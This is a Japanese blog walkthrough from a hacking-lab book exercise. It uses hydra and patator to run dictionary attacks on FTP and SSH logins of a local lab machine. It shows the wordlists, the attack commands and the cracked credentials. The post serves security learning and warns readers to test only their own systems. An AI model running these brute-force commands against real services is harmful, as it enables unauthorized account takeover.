はじめに
前回からの続きです。
オンラインでパスワードを解析できるhydraを使って、ftpとsshのアカウントを解析していきます。「ハッキング・ラボのつくりかた」(IPUSIRON著)のp.380-384をもとにした記事となります。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
準備
ftpのアカウントを辞書攻撃（事前に流出したアカウントやパスワードのリストを入手しておいて、それをもとにアクセスを繰り返してアカウントをハッキングする)する。
肝心の辞書は、同書のp.381の内容に従います。また、それとの比較でrockyou.txtも利用する。
root
sys
msfadmin
user
service
postgres
tomcat
user
password
12345678
msfadmin
root
guest
batman
asdfasdf
tomcat
pass.lstの最後は、空行で終える。空行ということは、つまり「パスワードが設定されていない」ということ。
rockyou.txtはgithubなどで入手できる、KaliLinuxのデファイル"/usr/share/wordlists/rockyou.txt.gz"があるので、それを解凍して利用してもよい。
解凍するときは、失敗したとしても良いように-kオプションでもとの書庫ファイルを維持するようにした。
sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz
ちなみに、rockyou.txtは2021年バージョンもあり、それは12GB以上もある!
[参考URL]
https://github.com/ohmybahgosh/RockYou2021.txt
ftpのアカウントをハッキング
辞書攻撃式パスワードクラッキングのコマンドを実行する。並列処理タスクはデフォルトの16のままにしておいた。timeコマンドをつけて、どれくらい時間がかかるのか、わかりやすいようにしてある。
time hydra -L user.lst -P pass.lst 192.168.56.5 ftp
次は、同書の記述どおりに、-tオプションで並列処理タスクを8に指定してから実行する。
time hydra -L user.lst -P pass.lst -t 8 192.168.56.5 ftp
並行処理タスクを8に指定したほうが、やや時間がかかっているが、CPU負担は少ない。と言っても、CPU使用率はほとんど変わらない。
rockyou.txtをユーザーリストファイル、パスワードファイルに指定してみる。
time hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt 192.168.56.5 ftp
実行してみると、非常に時間がかかるので現実的ではない。
単に辞書が大きければ良いというものではなく、洗練されたものが必要であることがわかった。
sshのアカウントをハッキング
sshのアカウントを辞書攻撃する。sshに対してパスワードクラッキングをするときは、並列処理タスクが多いと警告がでるので、-tオプションで並列処理タスクを４つに指定する。
hydra -L user.lst -P pass.lst -t 4 192.168.56.5 ssh
//または
hydra -L user.lst -P pass.lst -t 4 ssh://192.168.56.5:22
後者のコマンドは、末尾が「サービス名://サーバーのIPアドレス:ポート番号」の書式となっている。プロトコルのデフォルトのポート番号が変更されている場合、後者の書式で対応する。
ハッキングが成功した
hydraでのハッキングが失敗した場合
同書では、hydraでのsshアカウントのパスワードクラッキングが失敗した場合に、代わりとして、patatorというツールの利用が紹介されている。
patator ssh_login host=192.168.56.5 user=FILE0 password=FILE1 0=user.lst 1=pass.lst -x ignore:mesg='Authentication failed.'
少し変わった構文・・・（個人的感想）
だが、hydraと同じようにハッキングに成功した。
おわりに
アカウント情報をまとめると
| ユーザー名 | ftpのパスワード | sshのパスワード |
|---|---|---|
| msfadmin | msfadmin | msfadmin |
| user | user | user |
| sys | なし | batman |
ftpには２つのアカウント、sshには３つのアカウントがあることがわかった。
そのうち、２つのアカウントは、ユーザー名とパスワードが同一というぜいじゃくなパスワードを使用している。